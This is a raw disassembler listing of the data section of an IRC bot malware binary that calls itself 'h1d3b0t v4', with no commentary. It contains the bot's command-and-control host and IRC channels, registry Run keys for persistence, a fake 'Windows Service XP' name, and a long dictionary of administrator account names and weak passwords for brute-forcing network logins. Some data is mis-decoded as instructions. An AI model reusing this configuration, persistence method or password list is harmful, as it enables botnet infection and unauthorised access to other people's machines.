69736863h, 632E657Ah, 0 ; DATA XREF: sub_430DB0+38o dword_438D84 dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_430DB0+2Co dword_438D90 dd 4E512331h, 4E41h ; DATA XREF: sub_431E60:loc_43201Fo dword_438D98 dd 4E492331h, 46h ; DATA XREF: sub_431E60+19Bo dword_438DA0 dd 4E492331h, 44h ; DATA XREF: sub_431E60+168o dword_438DA8 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch ; DATA XREF: sub_431E60+125o ; .nsp0:00452698o dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h dd 4D41h, 65636544h, 7265626Dh, 0 aNovember db 'November',0 ; DATA XREF: .nsp0:00452680o align 4 aOctober db 'October',0 ; DATA XREF: .nsp0:0045267Co aSeptember db 'September',0 ; DATA XREF: .nsp0:00452678o align 4 aAugust db 'August',0 ; DATA XREF: .nsp0:00452674o align 10h aJuly db 'July',0 ; DATA XREF: .nsp0:00452670o align 4 aJune db 'June',0 ; DATA XREF: .nsp0:0045266Co align 10h aApril db 'April',0 ; DATA XREF: .nsp0:00452664o align 4 aMarch db 'March',0 ; DATA XREF: .nsp0:00452660o align 10h aFebruary db 'February',0 ; DATA XREF: .nsp0:0045265Co align 4 aJanuary db 'January',0 ; DATA XREF: .nsp0:00452658o aDec db 'Dec',0 ; DATA XREF: .nsp0:00452654o aNov db 'Nov',0 ; DATA XREF: .nsp0:00452650o aOct db 'Oct',0 ; DATA XREF: .nsp0:0045264Co aSep db 'Sep',0 ; DATA XREF: .nsp0:00452648o aAug db 'Aug',0 ; DATA XREF: .nsp0:00452644o aJul db 'Jul',0 ; DATA XREF: .nsp0:00452640o aJun db 'Jun',0 ; DATA XREF: .nsp0:0045263Co aMay db 'May',0 ; DATA XREF: .nsp0:00452638o ; .nsp0:00452668o aApr db 'Apr',0 ; DATA XREF: .nsp0:00452634o aMar db 'Mar',0 ; DATA XREF: .nsp0:00452630o aFeb db 'Feb',0 ; DATA XREF: .nsp0:0045262Co aJan db 'Jan',0 ; DATA XREF: .nsp0:00452628o aSaturday db 'Saturday',0 ; DATA XREF: .nsp0:00452624o align 10h aFriday db 'Friday',0 ; DATA XREF: .nsp0:00452620o align 4 aThursday db 'Thursday',0 ; DATA XREF: .nsp0:0045261Co align 4 aWednesday db 'Wednesday',0 ; DATA XREF: .nsp0:00452618o align 10h aTuesday db 'Tuesday',0 ; DATA XREF: .nsp0:00452614o aMonday db 'Monday',0 ; DATA XREF: .nsp0:00452610o align 10h aSunday db 'Sunday',0 ; DATA XREF: .nsp0:0045260Co align 4 aSat db 'Sat',0 ; DATA XREF: .nsp0:00452608o aFri db 'Fri',0 ; DATA XREF: .nsp0:00452604o aThu db 'Thu',0 ; DATA XREF: .nsp0:00452600o aWed db 'Wed',0 ; DATA XREF: .nsp0:004525FCo aTue db 'Tue',0 ; DATA XREF: .nsp0:004525F8o aMon db 'Mon',0 ; DATA XREF: .nsp0:004525F4o aSun db 'Sun',0 ; DATA XREF: .nsp0:off_4525F0o aAP db 'a/p',0 ; DATA XREF: sub_4333D0:loc_4335C3o aAmPm db 'am/pm',0 ; DATA XREF: sub_4333D0:loc_4335A3o align 10h aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_4338F0+9Co ; sub_4338F0+F1o align 10h dword_438EF0 dd 0FFFFFFFFh, 433CB7h, 433CBDh, 0FFFFFFFFh, 433D36h, 433D3Ch ; DATA XREF: sub_433B90+5o dword_438F08 dd 6D6F7477h, 766E6562h, 632Eh, 0 ; DATA XREF: sub_4345C0+44o dword_438F18 dd 0FFFFFFFFh, 43476Dh, 434773h, 0 ; DATA XREF: sub_434670+5o dword_438F28 dd 0FFFFFFFFh, 43490Fh, 434915h ; DATA XREF: sub_434810+5o dword_438F34 dd 6D635F61h, 632E70h ; DATA XREF: sub_4349C0+17Fo aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_4349C0:loc_434B33o align 10h dword_438F80 dd 0FFFFFFFFh, 434C9Fh, 434CA5h, 0FFFFFFFFh, 434D3Dh, 434D43h ; DATA XREF: sub_4349C0+5o dword_438F98 dd 65746573h, 632E766Eh, 0 ; DATA XREF: sub_434E10+B2o ; sub_434E10+F2o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_435350+1Fo dd offset dword_439098 off_438FB8 dd offset sub_4354D0 ; DATA XREF: sub_4353B0+44o ; sub_435470+1Fo ... dd offset sub_435420 dd offset sub_435440 dd offset dword_4390E8 off_438FC8 dd offset sub_4355F0 ; DATA XREF: sub_435500+16o ; sub_4355A0+Ao ... dd offset sub_435420 dd offset sub_4355C0 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_435650+1Fo dd offset dword_439138 off_438FF0 dd offset sub_435730 ; DATA XREF: sub_4356B0+16o ; sub_4356E0+Ao ... dd offset sub_435420 dd offset sub_435700 dd offset dword_439168 off_439000 dd offset sub_435C40 ; DATA XREF: .nsp0:00435C1Ao ; sub_435C70+Co ... dd offset sub_435DE0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_435DE0:loc_435DF8o align 4 dd offset dword_4391B0 off_439020 dd offset sub_435E50 ; DATA XREF: sub_435E10+Ao ; .nsp0:00435F3Ao ... align 8 dword_439028 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_435F60+Do dd 3, 19930520h, 2 dup(0) off_439048 dd offset off_4529A0 ; DATA XREF: .nsp0:0043907Co ; .nsp0:004390D0o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_439060 dd offset off_4529B8 ; DATA XREF: .nsp0:00439078o ; .nsp0:004390CCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_439060 dd offset off_439048 dword_439080 dd 4 dup(0) ; DATA XREF: .nsp0:004390A8o dd 2, 439078h dword_439098 dd 3 dup(0) ; DATA XREF: .nsp0:00438FB4o dd offset off_4529B8 dd offset dword_439080+8 align 10h off_4390B0 dd offset off_4529D8 ; DATA XREF: .nsp0:004390C8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_4390B0 dd offset off_439060 dd offset off_439048 dd 0 db 0 ; DATA XREF: .nsp0:004390F8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 4390C8h dword_4390E8 dd 3 dup(0) ; DATA XREF: .nsp0:00438FC4o dd offset off_4529D8 dd offset unk_4390D8 align 10h off_439100 dd offset off_4529F8 ; DATA XREF: .nsp0:00439118o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_439100 dd offset off_439060 dd offset off_439048 dd 0 db 0 ; DATA XREF: .nsp0:00439148o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 439118h dword_439138 dd 3 dup(0) ; DATA XREF: .nsp0:00438FECo dd offset off_4529F8 dd offset unk_439128 dd offset off_439048 dword_439150 dd 4 dup(0) ; DATA XREF: .nsp0:00439178o dd 1, 43914Ch dword_439168 dd 3 dup(0) ; DATA XREF: .nsp0:00438FFCo dd offset off_4529A0 dd offset dword_439150+8 align 10h off_439180 dd offset off_452A18 ; DATA XREF: .nsp0:00439198o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_439180 dword_43919C dd 3 dup(0) ; DATA XREF: .nsp0:004391C0o dd 1, 439198h dword_4391B0 dd 3 dup(0) ; DATA XREF: .nsp0:0043901Co dd offset off_452A18 dd offset dword_43919C+4 align 8 dword_4391C8 dd 19930520h, 2, 4391E8h, 5 dup(0) ; DATA XREF: .nsp0:loc_435FCFo dd 0FFFFFFFFh, 435FB8h, 0 dd offset sub_435FB0 dword_4391F8 dd 19930520h, 2, 439218h, 5 dup(0) ; DATA XREF: .nsp0:loc_435FE9o dd 0FFFFFFFFh, 435FD9h, 0 dd offset loc_435FE1 dword_439228 dd 19930520h, 2, 439248h, 1, 439258h, 3 dup(0) ; DATA XREF: .nsp0:loc_435FF4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 439270h, 4 dup(0) dd offset loc_40D25A dd 0 dd offset off_4529A0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 435CE0h, 2 dup(0) dd offset off_4529B8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4353B0h, 2 dup(0) dd offset off_4529D8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 435620h, 0 dword_4392E0 dd 3, 4392C0h, 4392A0h, 439280h ; DATA XREF: .nsp0:004392FCo dword_4392F0 dd 0 ; DATA XREF: sub_435350+3Fo ; sub_4355C0+15o dd offset sub_4355A0 dd 0 dd offset dword_4392E0 dword_439300 dd 19930520h, 1, 439320h, 5 dup(0) ; DATA XREF: SEH_435350o dd 0FFFFFFFFh, 436000h dword_439328 dd 19930520h, 1, 439348h, 5 dup(0) ; DATA XREF: SEH_4353B0o dword_439348 dd 0FFFFFFFFh, 436020h, 2, 4392A0h, 439280h, 0 ; DATA XREF: .nsp0:0043936Co dword_439360 dd 0 ; DATA XREF: sub_435440+15o dd offset sub_435470 dd 0 dd offset dword_439348+8 dword_439370 dd 19930520h, 1, 439390h, 5 dup(0) ; DATA XREF: SEH_435470o dd 0FFFFFFFFh, 436040h dword_439398 dd 19930520h, 1, 4393B8h, 5 dup(0) ; DATA XREF: SEH_435530o dd 0FFFFFFFFh, 436060h, 0 dd offset off_4529F8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 435760h, 0 dword_4393E0 dd 3, 4393C0h, 4392A0h, 439280h ; DATA XREF: .nsp0:004393FCo dword_4393F0 dd 0 ; DATA XREF: sub_435650+3Fo ; sub_435700+15o dd offset sub_4356E0 dd 0 dd offset dword_4393E0 dword_439400 dd 19930520h, 1, 439420h, 5 dup(0) ; DATA XREF: SEH_435650o dd 0FFFFFFFFh, 436080h, 2F6h dup(0) dword_43A000 dd 0 ; DATA XREF: sub_41B540+29o dd offset loc_4013FF dd offset loc_40CD62 dd offset sub_40D36B dd offset sub_40E1E7 dd offset sub_435790 dword_43A018 dd 0 ; DATA XREF: sub_41B540+24o dword_43A01C dd 0 ; DATA XREF: sub_41B540+17o dd offset sub_41DA10 dd offset sub_41EB90 dd offset sub_4246A0 dd offset sub_42DE30 dword_43A030 dd 0 ; DATA XREF: sub_41B540:loc_41B552o dword_43A034 dd 0 ; DATA XREF: sub_41B600+76o dd offset sub_41ECC0 dword_43A03C dd 0 ; DATA XREF: sub_41B600:loc_41B671o dword_43A040 dd 0 ; DATA XREF: sub_41B600+88o dd offset sub_42DE50 dword_43A048 dd 2 dup(0) ; DATA XREF: sub_41B600:loc_41B683o dword_43A050 dd 80000002h, 43A168h, 80000002h, 43A198h, 80000001h, 43A168h ; DATA XREF: sub_401000+7o dword_43A068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo dword_43A06C dd 1A0Bh ; DATA XREF: sub_40141B+49Er ; sub_40141B+533r dword_43A070 dd 1B58h ; DATA XREF: sub_40141B+57Fr dword_43A074 dd 7E4h ; DATA XREF: sub_401CC1:loc_40436Ar dword_43A078 dd 45h ; DATA XREF: sub_401CC1+1BC3r ; sub_40B1CC+3Br dword_43A07C dd 7D1h ; DATA XREF: sub_401CC1:loc_40396Fr ; sub_40B1CC:loc_40B5BDr dword_43A080 dd 201h ; DATA XREF: sub_401CC1:loc_403AFBr word_43A084 dw 7C7h ; DATA XREF: sub_401CC1:loc_40448Dr align 4 dword_43A088 dd 1 ; DATA XREF: sub_401CC1+643r dword_43A08C dd 1 ; DATA XREF: sub_40141B+13Ar dword_43A090 dd 1 ; DATA XREF: sub_40141B:loc_401759r ; sub_41615A+Cr byte_43A094 db 78h ; DATA XREF: sub_401CC1+6B2r ; sub_401CC1+892r ... align 4 dword_43A098 dd 9 ; DATA XREF: sub_40A112+39r ; sub_40A112+5Fr ... dword_43A09C dd 1 ; DATA XREF: sub_4019E1+78r ; sub_401CC1+273r ... dword_43A0A0 dd 1 ; DATA XREF: sub_4019E1+72r ; sub_401CC1+26Dr aK333yx db 'k333yx',0 ; DATA XREF: sub_40141B+5Do ; sub_401CC1:loc_4041DDo ... align 4 aH1d3b0tV4PiaVe db 'h1d3b0t v4 Pia Version',0 align 4 aHi_0 db 'hi',0 ; DATA XREF: sub_401CC1+7034o ; sub_401CC1+7103o align 4 aMom_arabHacker db 'mom.arab-hacker.org',0 ; DATA XREF: sub_40141B+48Ao ; sub_40141B+524o aDd db '#dd',0 ; DATA XREF: sub_40141B+4AAo ; sub_40141B+53Ao ... aDpass db 'dpass',0 ; DATA XREF: sub_40141B+4C1o ; sub_40141B+54Co align 4 byte_43A0E8 db 61h ; DATA XREF: sub_40141B+140o ; sub_40141B+164w ... db 67h, 6Ch, 61h dd 78766378h, 6578652Eh, 0 dd 6E6E6977h, 2E787465h, 746162h aWindowsService db 'Windows Service XP',0 ; DATA XREF: sub_401000+Eo align 4 aXx db 'XX-',0 ; DATA XREF: .nsp0:0040A190o aWinsysx_dat db 'winsysx.dat',0 aXI db '-x+i',0 ; DATA XREF: sub_401CC1+717Co align 10h aXx_0 db '#xx#',0 ; DATA XREF: sub_401CC1+1A26o ; sub_401CC1+1A37o ... align 4 aCyberLog db '#CYBER-log',0 align 4 aCyberSniff db '#CYBER-sniff',0 ; DATA XREF: sub_401CC1+3B13o align 4 off_43A154 dd offset dword_43C6A8 ; DATA XREF: sub_401CC1:loc_408D51o off_43A158 dd offset aMircV6_16Khale ; DATA XREF: sub_401CC1+825r ; sub_401CC1+70ACo ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_417DB1+28o ; sub_4180D5+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_417DB1+D4o ; sub_4180D5+D4o align 10h dd offset aAdministrato_0 ; "Administrator" dd offset aAdministrato_1 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_3 ; "USER" align 8 dd offset dword_4E0750 dd offset aAdministrato_2 ; "ADMINISTRATOR" dd offset aAdministrato_3 ; "Administrator" dd offset aAdministrato_4 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot_1 ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_4 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_1 ; "SYSTEM" dd offset aServer_6 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_1 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase_0 ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle_0 ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer_0 ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" ; --------------------------------------------------------------------------- or dl, cl inc ebx add [eax], dl retf 43h ; --------------------------------------------------------------------------- sbb al, 0CAh inc ebx add [eax], ch retf 43h ; --------------------------------------------------------------------------- xor dl, cl inc ebx add [edx+ecx*8], dh inc ebx add [edx+ecx*8], bh inc ebx add [edx+ecx*8+43h], al add [edx+ecx*8+43h], cl add [eax-36h], dl inc ebx add [eax-36h], bl inc ebx add [eax-36h], ah inc ebx add [eax-36h], ch inc ebx add [edx+ecx*8+43h], dh add [edx+ecx*8+43h], bh add [eax-77FFBC36h], al retf 43h ; --------------------------------------------------------------------------- dd offset aPat ; "pat" ; --------------------------------------------------------------------------- xchg eax, esp retf 43h ; --------------------------------------------------------------------------- cwde retf 43h ; --------------------------------------------------------------------------- pushf retf 43h ; --------------------------------------------------------------------------- movsb retf 43h ; --------------------------------------------------------------------------- lodsb retf 43h ; --------------------------------------------------------------------------- mov ah, 0CAh inc ebx add al, al retf 43h ; --------------------------------------------------------------------------- dd offset a0wned ; "0wned" ; --------------------------------------------------------------------------- aam 0CAh inc ebx add ah, bl retf 43h ; --------------------------------------------------------------------------- dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" ; --------------------------------------------------------------------------- cld retf 43h ; --------------------------------------------------------------------------- dd offset aAaa_0 ; "aaa" ; --------------------------------------------------------------------------- add al, 0CBh inc ebx add [eax], cl retf ; --------------------------------------------------------------------------- inc ebx add [eax], dl retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8], dl inc ebx add [eax], bl retf ; --------------------------------------------------------------------------- inc ebx add [eax], ah retf ; --------------------------------------------------------------------------- inc ebx add [eax], ch retf ; --------------------------------------------------------------------------- inc ebx add [eax], dh retf ; --------------------------------------------------------------------------- inc ebx add [eax], bh retf ; --------------------------------------------------------------------------- inc ebx add [eax-35h], al inc ebx add [eax-35h], cl inc ebx add [eax-35h], dl inc ebx add [ebx+ecx*8+43h], dl add [ebx+ecx*8+43h], bl add [ebx+ecx*8+43h], ah add [ebx+ecx*8+43h], ch add [eax-35h], bh inc ebx add [eax-77FFBC35h], al retf ; --------------------------------------------------------------------------- inc ebx add [ebx+ecx*8-3467FFBDh], dl inc ebx add [ebx+ecx*8-345BFFBDh], bl inc ebx add [ebx+ecx*8-344BFFBDh], ch inc ebx add [ebx+ecx*8-343BFFBDh], bh inc ebx add ah, cl retf ; --------------------------------------------------------------------------- inc ebx add al, bl retf ; --------------------------------------------------------------------------- inc ebx add al, ah retf ; --------------------------------------------------------------------------- inc ebx add al, ch retf ; --------------------------------------------------------------------------- inc ebx add al, dh retf ; --------------------------------------------------------------------------- db 43h ; C db 0 db 0F8h ; ø db 0CBh ; Ë dw 43h dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_4 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_43CC70 ; "x" dd offset aXx_1 ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset a0 ; "0" dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept_0 ; "accept" dd offset aAccount ; "account" dd offset aAction_0 ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases_0 ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica_0 ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril_0 ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect_0 ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue_0 ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" 